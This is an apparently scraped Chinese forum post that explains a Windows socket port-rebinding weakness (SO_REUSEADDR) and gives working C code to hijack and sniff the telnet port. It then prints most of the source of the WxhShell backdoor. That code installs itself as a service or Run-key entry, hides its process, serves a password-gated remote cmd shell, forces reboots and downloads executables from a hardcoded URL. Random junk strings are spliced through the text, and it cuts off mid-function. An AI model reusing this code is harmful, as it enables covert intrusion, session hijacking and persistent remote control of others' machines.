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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: iTK1I0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1gm{.*G V&}Z# 9Dx saddr.sin_family = AF_INET; f
Fz8m
E;|\?> saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5
+
Jy
Sv>aZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); x)Th2es\ %vThbP#mR| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _9gn;F C3<3 这意味着什么?意味着可以进行如下的攻击: [X=eCHB? ^al
SyJ` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :iWV:0)P hOC,Eo 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vcSS+ TX+t
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2 rBF<z7 #F6ak,9S4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 cM"I3 oz0-'_
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ux<h`
s Fwqv1+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _j2`#|oG @v'<~9vG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %FRkvqV* [a
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; #include M1>a,va8Zq #include W UV Q_<i+ #include M<L<mP} #include i@;a%$5 DWORD WINAPI ClientThread(LPVOID lpParam); D"WkD j"M int main() v|'N|k l { {38aaf|'/ WORD wVersionRequested; .5z|g@
6 DWORD ret; qqAsh]Z WSADATA wsaData; !3&}r
BOOL val; ynd}w
G' SOCKADDR_IN saddr; $R5-JvJJH SOCKADDR_IN scaddr; ~iSW^mi int err; axl?t|~I SOCKET s; "LWp/ SOCKET sc; ?=G H{
%E int caddsize; $k?L?R1 HANDLE mt; >*(>%E~H DWORD tid; M]{!Nx wVersionRequested = MAKEWORD( 2, 2 ); . =5Jpo err = WSAStartup( wVersionRequested, &wsaData ); u`~{:V if ( err != 0 ) { 4CCux4)N printf("error!WSAStartup failed!\n"); )
jvkwC return -1; RAxz+1JT } &sWyh[`P saddr.sin_family = AF_INET; kr/h^e loB/w{r*x //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WI9.?(5q ,jWd?-NH saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X>4`{x ` saddr.sin_port = htons(23); 9..k/cH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rju8%FRO { Z8@]e}n printf("error!socket failed!\n");
u0e#iX return -1; |{nI.> } LKZI@i) val = TRUE; 5zGj,y>u //SO_REUSEADDR选项就是可以实现端口重绑定的 aVb]H0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nXS%>1o, { 525 >=h printf("error!setsockopt failed!\n"); +NY4j-O return -1; ]3,0
8JW= } L_r &'B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CvJm7c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZL>V9UWN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :&%;s*-9 #Q"vwek if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Hn~1x'$ { 6b|`[t ret=GetLastError(); ChGM7uu2 printf("error!bind failed!\n"); gK( 4<PO' return -1; NZuFxJ-` } THp `!l listen(s,2); Y Pc< while(1) <7^~r(DP { Zy%Z]dF caddsize = sizeof(scaddr); yDC97#%3u //接受连接请求 ,Aii>D] sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Uk9g^\H<D if(sc!=INVALID_SOCKET) GP$Y4*y/ { B,>Fh X>h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U VKN#"_{ if(mt==NULL) ^4[[+r { Q(6(Scp{ printf("Thread Creat Failed!\n");
(ZK >WoV break; jhG7sS| } (0Cszm. } hl:eF:'hm CloseHandle(mt); {1%ZyY } >B
closesocket(s); v~Qy{dn
P WSACleanup(); D3{lyi|8 return 0; Yn>zR I } <^Tj}5)n DWORD WINAPI ClientThread(LPVOID lpParam) *F*X_O { ;%<4U^2 SOCKET ss = (SOCKET)lpParam; Y ,yaB)&Ih SOCKET sc; @45 H8|:k unsigned char buf[4096]; [u80-x< SOCKADDR_IN saddr; g-FZel
long num; Ak Tw?v' DWORD val; H\mVK!](D DWORD ret; %#9 ~V //如果是隐藏端口应用的话,可以在此处加一些判断 EC'bgFe //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0Q >|s_ saddr.sin_family = AF_INET; %
eRwH
> saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 29^bMau)v saddr.sin_port = htons(23); 3L?a4,Q"k} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b<AE}UK { Ba0D"2CgY printf("error!socket failed!\n"); h\d($Ki return -1; PEEY;x } Z!reX6 val = 100; vs|6ww if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _KVB~loT { I;-5]/, ret = GetLastError(); 9`xFZMd31A return -1; %n25Uq } r5!M;hU1j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rVy\,#| { *hs<Ez.cC ret = GetLastError(); p0y?GNQ return -1; !h>$bm } p,\bez
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {K4t8T] { [E
(M(w': printf("error!socket connect failed!\n"); X-#mv|3 closesocket(sc); lO> 7`2x=F closesocket(ss); HF+fk*_Q return -1; ' u};z:t } Wmxw! while(1) D{c>i`\G { BJxmW's/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &W+G{W{3 //如果是嗅探内容的话,可以再此处进行内容分析和记录 NoZ4['NI\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :TYzzl43 num = recv(ss,buf,4096,0); 8;\tP29 if(num>0) jjT2k send(sc,buf,num,0); MZW
Y else if(num==0) 0C+yq'D~[ break; X]MM7hMuR num = recv(sc,buf,4096,0); [e@OHQM if(num>0) 9c}]:3#XO send(ss,buf,num,0); ?>jArzI else if(num==0) G>S1Ld'MV break; )|R0_9CLV } 1vK(^u[ closesocket(ss); [pgkY!R?) closesocket(sc); OXX(OCG> return 0 ; w^E]N } GdeR#%z R
4QwWSBJ
e=)*O ========================================================== ZX6=D>)u ;:\,x 下边附上一个代码,,WXhSHELL lEbR) B, k,iV$,[TF ========================================================== Ox*T:5 -_*XhD #include "stdafx.h" B
m@oB2x) TgE.=` "7 #include <stdio.h> 9hLmrYNM1 #include <string.h> Ldj^O9p( #include <windows.h> Xa%&.&V #include <winsock2.h> IcA\3j #include <winsvc.h> 9g5{3N3 #include <urlmon.h> _B7?C:8Q- YSz$` 7i #pragma comment (lib, "Ws2_32.lib") pkV\D #pragma comment (lib, "urlmon.lib") :mV7)oWH .'{6u;8 #define MAX_USER 100 // 最大客户端连接数 ID).*@(I" #define BUF_SOCK 200 // sock buffer _KhEwd #define KEY_BUFF 255 // 输入 buffer +JAfHQm- VBsFT2XiL #define REBOOT 0 // 重启 iLd"tn' #define SHUTDOWN 1 // 关机 [xs)u3b QRZTT qG #define DEF_PORT 5000 // 监听端口 9Glfi@. *ez~~ Y #define REG_LEN 16 // 注册表键长度 '"fU2M<. #define SVC_LEN 80 // NT服务名长度 nP{sCH 1 tTh;.88Z{ // 从dll定义API 0CVsDVA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z0Z\d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7- 3N typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ocA'goI- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z'}= A c;8"vJ // wxhshell配置信息 -f;j1bQ struct WSCFG { K-Dk2(x int ws_port; // 监听端口 sa gBmA~ char ws_passstr[REG_LEN]; // 口令 #
/,2MQ int ws_autoins; // 安装标记, 1=yes 0=no {{[jC"4AY char ws_regname[REG_LEN]; // 注册表键名 c>WpO Z, char ws_svcname[REG_LEN]; // 服务名 'UXj\vJ3E char ws_svcdisp[SVC_LEN]; // 服务显示名 -G<2R"Q#N char ws_svcdesc[SVC_LEN]; // 服务描述信息 B/9<b{6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IU'!?XVo int ws_downexe; // 下载执行标记, 1=yes 0=no N"
Jtg@w char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" iI@Gyq= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 am'p^Z@ `\4JwiPo }; v!{'23`87 7~l // default Wxhshell configuration qfP"UAc{/ struct WSCFG wscfg={DEF_PORT, seqF84Xd< "xuhuanlingzhe", E
^SM` 1, xX&>5 " "Wxhshell", SL\y\GaV "Wxhshell", ?ZuD
_L-i "WxhShell Service", lF}$`6 "Wrsky Windows CmdShell Service", i h$@:^\ "Please Input Your Password: ", vPl6Dasr 1, ~ut& U " http://www.wrsky.com/wxhshell.exe", ug6f
"Wxhshell.exe" xlPcg7 }; K.iH k"^t?\Q%vI // 消息定义模块 B:A1W{l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?4,*RCaI char *msg_ws_prompt="\n\r? for help\n\r#>"; \l=KWa 3Q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Q1ABnacR char *msg_ws_ext="\n\rExit."; }2BH_
2 char *msg_ws_end="\n\rQuit."; [>M*_1F char *msg_ws_boot="\n\rReboot..."; cxP9n8CuT char *msg_ws_poff="\n\rShutdown..."; mb~=Xyk& char *msg_ws_down="\n\rSave to "; z^a!C#IX ahi57r[ char *msg_ws_err="\n\rErr!"; C@UJOB char *msg_ws_ok="\n\rOK!"; 6PQJgki z5yb$-j char ExeFile[MAX_PATH]; kTiPZZI int nUser = 0; ]dGr1ncu HANDLE handles[MAX_USER]; 4<3?al& int OsIsNt; i^s`6:rNu ghJ,s|lH SERVICE_STATUS serviceStatus; 8F`BJ6=' SERVICE_STATUS_HANDLE hServiceStatusHandle; \{MrQ2jd v-7Rb)EP // 函数声明 rz[uuY7 int Install(void); msqxPC^I int Uninstall(void); _L:i=.hxN int DownloadFile(char *sURL, SOCKET wsh); ]2xx+P#Y int Boot(int flag); 5;K-,"UQ void HideProc(void); 74}eF)(me int GetOsVer(void); sx-Hw4.a" int Wxhshell(SOCKET wsl); I"F
.%re void TalkWithClient(void *cs); ><#2O int CmdShell(SOCKET sock); 7S dV%" int StartFromService(void); vzohq1r5 int StartWxhshell(LPSTR lpCmdLine); 9HJ'p:{) &8X
.!r`f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kuTq8p2E VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oj4u!SY\j Dc&9emKI // 数据结构和表定义
,3J`ftCV SERVICE_TABLE_ENTRY DispatchTable[] = R!_8jD:$ { 0x>/ 6 << {wscfg.ws_svcname, NTServiceMain}, L&DF,fWsF& {NULL, NULL} #E$Z[G] }; _']%qd"% iKF$J3a\2f // 自我安装 I", &%0ycm int Install(void) iBtjd`V* { [`hE^chd char svExeFile[MAX_PATH]; >TlW]st HKEY key; bQ^DX `o6P strcpy(svExeFile,ExeFile); !0!U01SWa
/.| A // 如果是win9x系统,修改注册表设为自启动 V&mH#k if(!OsIsNt) { cz7CrK~5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ySixYt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y;{^Ln4{ RegCloseKey(key); D 8@nkSP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x:A-p..e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *793H\ RegCloseKey(key); T]Tdx.B return 0; fd5ZaE#f } OD?y } l}Q"Nb) } #90[PASx else { jIx8k8 AK@`'$ // 如果是NT以上系统,安装为系统服务 m{bZRkt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n2xLgK= if (schSCManager!=0) Ss#@=:"P { 68koQgI[^ SC_HANDLE schService = CreateService (
K6~Tj
( F}6DB* schSCManager, wDT>">&d wscfg.ws_svcname, N"Qg\PS_ wscfg.ws_svcdisp, 3wN?|N SERVICE_ALL_ACCESS, Yo~LckFF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n)
_dH/" SERVICE_AUTO_START, ;t;Y.*&=S SERVICE_ERROR_NORMAL, PJxak3 svExeFile, VxkCK02k NULL, Z>(r9R3{ NULL, z.2r@Psk NULL, -y&v9OC2- NULL,
#gW /qJ NULL b)on A| ); b!'l\~`{i if (schService!=0) JQKC;p { biK)&6|`sa CloseServiceHandle(schService); ;ZQ-uz CloseServiceHandle(schSCManager); 74@lo-/LY strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &v5G92 strcat(svExeFile,wscfg.ws_svcname); P"(z jG9- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { heE}_,$| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ia%z+:G RegCloseKey(key); \)OZUch return 0; ||-nmOy } Vs#"SpH{' } 8
uDerJ! CloseServiceHandle(schSCManager); jd%Len&p } nS_Ta } @~m=5C <Rcu%&;i return 1; [[R7~.; } !dU9sB2
]pW86L% // 自我卸载 O1GDugZ int Uninstall(void) K0w<[CO { B.89_!/:p HKEY key; +h0PR? s kN9O"^A if(!OsIsNt) { $> "J"IX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :ozV3`%$( RegDeleteValue(key,wscfg.ws_regname); Q~Ay8L+ RegCloseKey(key); v,/[&ASz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yXJ]U
\ % RegDeleteValue(key,wscfg.ws_regname); ~I{EE[F>qL RegCloseKey(key); 9T(L"9r-e return 0; ;B&^yj&; } e^j<jV`1 } c_
La^HS } r55qmPhg else { 2t+D8 d|c< Fi mN?s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >_XOc if (schSCManager!=0) *IC^IC: { A_!QrM SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ')B =|T) if (schService!=0) >T<6fpXuk2 { \|CPR6I if(DeleteService(schService)!=0) { YEzU{J CloseServiceHandle(schService); 6cJ<9i
& CloseServiceHandle(schSCManager); H2_/,n return 0; 0,HqE='w } JnfqXbE CloseServiceHandle(schService); 4-mVB wq } 3Jk[/.h CloseServiceHandle(schSCManager); 6+.>5e } a:85L!~:l } *HR+a#o PU W[e% return 1; U^MuZ } .%q$d d>> v=!YfAn // 从指定url下载文件 tR kF
int DownloadFile(char *sURL, SOCKET wsh) M\Se_ { a 6%@d_A HRESULT hr; bW53" `X char seps[]= "/"; v?L char *token; [ `7%sn]$ char *file; (8.{+8o char myURL[MAX_PATH]; j~bAbOX12
char myFILE[MAX_PATH]; iOX Z]Xj5 m`z7fi7u strcpy(myURL,sURL); /
s,tY74'5 token=strtok(myURL,seps); e@E17l- while(token!=NULL) #ZJMlJ:q`" { Vtr3G.P^ file=token; Ly;I,)w token=strtok(NULL,seps); tJNIr5o } zh\$t]d<I 4o<*PPA1 GetCurrentDirectory(MAX_PATH,myFILE); %}P4kEY strcat(myFILE, "\\"); H+ lX-, strcat(myFILE, file); J!{Al send(wsh,myFILE,strlen(myFILE),0); ',7a E@PJ send(wsh,"...",3,0); F@Q^?WV hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WmeKl if(hr==S_OK) s=Df ` return 0; }Dn^d}?s|| else 4S|=/f return 1; k;k}qq`d iK#/w1` } l4rMk^>> ldGojnS // 系统电源模块 W^es;5 int Boot(int flag) VPt9QL( { `5q
;ssu HANDLE hToken; yEq#Dr TOKEN_PRIVILEGES tkp; *^]~RhjB Tzzq#z&F if(OsIsNt) { {CtR+4KD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d|XmasGN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "xe=N tkp.PrivilegeCount = 1; (luKn&826 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dH\XO-Z7v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 03k?:D+5 if(flag==REBOOT) { iXFP5a>| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c
pk^!@c return 0; 9'nH2,_ } )0k']g5 else { n2{SV if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }s_hD`' return 0; [84F09HU } =>|C~@C? } PFM'&;V else { } XR:2 if(flag==REBOOT) { .m;G$X|3U if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )55\4<ty return 0; bUZ_UW } JN4fPGbV else { Tde0 ~j} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !lTda<;] return 0; ('C7=u&F } #]E(N~ } ujr(K=E Y
ya`&V return 1; A(8n } S QY"OBo<e t
P"\J(x // win9x进程隐藏模块 u,1}h L void HideProc(void) +/rH(Ni { ,qQG;w,m #Yuvbb[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); geM6G$V& if ( hKernel != NULL ) RO&H5m r%@ { EpYy3^5d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N@xg:xr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -.IEgggf FreeLibrary(hKernel); 6/Fzco#N } !TKkec8$ 1u|V`J)0 return; t*G/] } B=Ym x2A9] . ]@=es // 获取操作系统版本 2HD]?:Fk7 int GetOsVer(void) y
"w|g~x]c { pZ(Fx&fy OSVERSIONINFO winfo; J=W0Xi! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;sPoUn
s' GetVersionEx(&winfo); 9H0Hu]zM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $HJTj29/ return 1; (=4W-z7 else ytz SAbj return 0; FT.,%2 } F_;DN:
{ l[GOs&D1 // 客户端句柄模块 jS.g]k int Wxhshell(SOCKET wsl)
\
%=9 { F {+`uG SOCKET wsh; 6KZf%)$ struct sockaddr_in client; <#M`5X. DWORD myID; G:W>I=^DaR 'heJ"k? while(nUser<MAX_USER) `J0i.0p { o>Er_r int nSize=sizeof(client); 6w[}&pX"z wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j*v40mXl`2 if(wsh==INVALID_SOCKET) return 1; ? "/ fPV- m#vL*]c} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w
Y if(handles[nUser]==0) SqA
J-_~ closesocket(wsh); A{ eL l else S8d8%R~1=h nUser++; 5kypMHJm } nmU_N:Y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 20RXK1So uX/$CM return 0; bx4'en# } R6-n IY, >EsziRm // 关闭 socket 5yZ TcS z void CloseIt(SOCKET wsh) -]uUY e
c { nl aM closesocket(wsh); j@gMbiu nUser--; >'uU)Y{ ExitThread(0); }A=y=+4j } 4+$b~u iIT8H\e
// 客户端请求句柄 ^ KK_qC void TalkWithClient(void *cs) 2&PPz}Sw { mW2,1}Jv '_\;jFAM SOCKET wsh=(SOCKET)cs; OLGBt char pwd[SVC_LEN]; 2&'|Eqk char cmd[KEY_BUFF]; 7uorQfR? char chr[1]; |BT MJ:B int i,j; =]`lN-rYw u]-_<YZ'B while (nUser < MAX_USER) { 1n5(S<T @`opDu! if(wscfg.ws_passstr) { #`TgZKDg2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TGXa,A{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B
vo5-P6XY //ZeroMemory(pwd,KEY_BUFF); >(w2GD? i=0; `afIYXP while(i<SVC_LEN) { `p
b5*h6r! RO;Bl:x4 // 设置超时 p(;U@3G fd_set FdRead; ,;?S\V struct timeval TimeOut; =gfI!w FD_ZERO(&FdRead); \<Sv3xy&O FD_SET(wsh,&FdRead); YJg,B\z} TimeOut.tv_sec=8; 0~wF3BgV TimeOut.tv_usec=0; 9SlNq05G7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (&|_quP7O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @E( 7V(m/ HoV^Y6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d)cOhZy pwd =chr[0]; EN{]Qb06A if(chr[0]==0xd || chr[0]==0xa) { !Cgx. pwd=0; " 96yp4v@ break; %*aJLn+]_R } Jd\apBIf i++; 9)xUA;Qw?z } )VL96 did !Fo*e // 如果是非法用户,关闭 socket M.-"U+#aD if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <IW#ME } uw\2qU3gk WW+l' 6. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k#8Ti"0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {oc igR0 iwz while(1) { HEL!GC># c_aZ{S ZeroMemory(cmd,KEY_BUFF);
Ol"3a| MuoF FvAA // 自动支持客户端 telnet标准 g%F"l2M j=0; g(VNy@ while(j<KEY_BUFF) { &l$Q^g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %ms'n cmd[j]=chr[0]; 1Je9,dd6 if(chr[0]==0xa || chr[0]==0xd) { /bj
<Ft\ cmd[j]=0; o"wXIHUmV break; )X4K2~k* } qq)0yyL r j++; 3lV^B[$ } Pe C7 PH"hn] // 下载文件 Vpy 2\wZWb if(strstr(cmd,"http://")) { @(P=Eh send(wsh,msg_ws_down,strlen(msg_ws_down),0); `V)Z)uN{0 if(DownloadFile(cmd,wsh)) p a}*E send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5es[Ph|K5 else yc|VJ2R* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1@u2im-O } k = ?h~n0M else { 1qV@qz A:(*y
2 switch(cmd[0]) { =%'`YbD$ ZmOfEg|h\ // 帮助 R52I=
a5,* case '?': { zF5uN:-s send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Oj<S.fi break; ["\;kJ. } zlR?,h-[3 // 安装 I^o!n5VM case 'i': { |ZodlYF if(Install()) n wI!O send(wsh,msg_ws_err,strlen(msg_ws_err),0); BpX6aAx else n| GaV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TO%dw^{_` break; ^(viM?* } M#|dIbns
H // 卸载 GGhM;%H_99 case 'r': { .]aF
1}AI if(Uninstall()) Hw#d_P: send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sa19q.~% else Ra*e5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -
0?^#G}3} break; GUsl PnG } cb5,P~/q // 显示 wxhshell 所在路径 52upoU>}2 case 'p': { [ sd;`xk char svExeFile[MAX_PATH]; qj cp65^ strcpy(svExeFile,"\n\r"); ]%Zz \Q strcat(svExeFile,ExeFile); P{Q=mEQ send(wsh,svExeFile,strlen(svExeFile),0); FKe, qTqa break; 2lL,zFAq } '+j} >Q // 重启 A(]H{>PMy case 'b': { v]B
L[/4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;S xFp if(Boot(REBOOT)) gm9mg*aM send(wsh,msg_ws_err,strlen(msg_ws_err),0); yV)la@c else { i-yy/y-N closesocket(wsh); @
P|LLG' ExitThread(0); OFje+S } 1Bxmm# break; ?eV4SH } +a^F\8H // 关机 5BBD.! case 'd': { /%lZu^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {BHI1Uw if(Boot(SHUTDOWN)) pRSOYTebP send(wsh,msg_ws_err,strlen(msg_ws_err),0); t4?DpE else { ktDC/8 closesocket(wsh); Vf(6!iRP@ ExitThread(0); Wu)>U } R *F l8
break; 0a"igq9t } !n^OM?.4 // 获取shell ?WE case 's': { m|OO,gR CmdShell(wsh); h$L"8# closesocket(wsh); _HhbIU ExitThread(0); "vtCTl~t break; NH_<q"gT } !nAX$i~ // 退出 ?`J[[", case 'x': { %v2R.?F8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H(Eh c CloseIt(wsh); I@\OaUGr+ break; }^B6yWUN } 9)VF 1LD // 离开 -GLMmZJt case 'q': { l3 DYg send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1#1 riM - closesocket(wsh); u+{a8= WSACleanup(); i1RiGS exit(1); 3P;>XGCxZ break; A=Ss6-Je } %c[ V } #pcP! } 8b0d]*q S;]*) i,v // 提示信息 | [>UH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S8e{K } ^U]UqX` } [V:\\$ 2k<;R': return; fA89|NTSUh } |r bWYl.b "--t e // shell模块句柄 >3&O::]3 int CmdShell(SOCKET sock) d|4}obCt { p<:!)kt STARTUPINFO si; 3MRc4UlB ZeroMemory(&si,sizeof(si)); Y3O#Q)-j$ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -kbg\,PW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %w7]@V Z PROCESS_INFORMATION ProcessInfo; /a6Xa&(B char cmdline[]="cmd"; '}Ri` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eilYA_FL. return 0; I"KN"v^ } +>4;Z d!@d } CfqG?) // 自身启动模式 f|sFlUu& int StartFromService(void) <I"S#M7-s { a@R]X5[O typedef struct xZV1k~C { VU@9@%TN DWORD ExitStatus;
P\_` DWORD PebBaseAddress; V <bd;m DWORD AffinityMask; ;V<fB/S.=+ DWORD BasePriority; @$T 9Ll ULONG UniqueProcessId; *&f$K1p ULONG InheritedFromUniqueProcessId; `Qqk<o } PROCESS_BASIC_INFORMATION; /@|/^vld 1T[et- PROCNTQSIP NtQueryInformationProcess; 85GKymz$P (64yg static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r7',3V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p ]d]QMu ~9j%Hm0ht HANDLE hProcess; -I=l8m6L PROCESS_BASIC_INFORMATION pbi; !>1@HH?I\/ E4hLtc^
